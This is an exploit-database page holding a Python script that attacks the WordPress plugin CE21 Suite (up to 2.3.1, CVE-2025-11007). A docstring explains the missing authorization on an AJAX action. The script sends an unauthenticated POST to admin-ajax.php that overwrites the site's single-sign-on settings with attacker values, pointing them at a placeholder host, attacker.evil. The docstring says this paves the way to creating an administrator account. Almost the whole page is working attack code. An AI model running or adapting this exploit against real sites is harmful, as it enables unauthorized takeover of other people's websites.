Share
## https://sploitus.com/exploit?id=PACKETSTORM:226424
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin CE21 Suite <= 2.3.1 - Unauthenticated SSO API Settings Overwrite (Missing Authorization)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/ce21-suite/
# Software Link: https://downloads.wordpress.org/plugin/ce21-suite.2.3.1.zip
# Version: 2.3.1 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-11007
r"""
CE21 Suite <= 2.3.1 registers the nopriv AJAX action ce21_single_sign_on_save_api_settings
(includes/ce21-functions.php:339) with NO check_ajax_referer and NO current_user_can. The handler
(includes/ce21-functions.php:340-360) writes attacker-supplied values into the ce21_api_settings row
(BaseURL / ClientId / SecretKey / CatalogURL) and unconditionally runs
update_option('tenantId_ce21', $_POST['client_id']).
This lets an unauthenticated attacker repoint the Single-Sign-On trust anchor (SSO endpoint + client
credentials + tenant id) to attacker infrastructure โ the basis for creating an administrator via the
plugin's SSO data_fetch flow.
Prior state: plugin active.
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--tenant", default="ATTACKER_TENANT_9999")
ap.add_argument("--base-url", default="https://attacker.evil/sso")
args = ap.parse_args()
base = args.target.rstrip("/")
d = {"action": "ce21_single_sign_on_save_api_settings", "api_settings_id": "1",
"base_url": args.base_url, "client_id": args.tenant,
"secret_key": "attackersecret", "catalog_url": "https://attacker.evil/catalog"}
r = requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=25)
print(f"[*] Target: {base}")
print(f"[*] overwrite -> HTTP {r.status_code} :: {r.text[:100]}")
print(f"\n[+] MISSING AUTHORIZATION CONFIRMED โ an unauthenticated request overwrote the SSO "
f"settings; verify option tenantId_ce21 is now '{args.tenant}' "
f"(wp option get tenantId_ce21). The SSO trust anchor is attacker-controlled.")
return 0
if __name__ == "__main__":
sys.exit(main())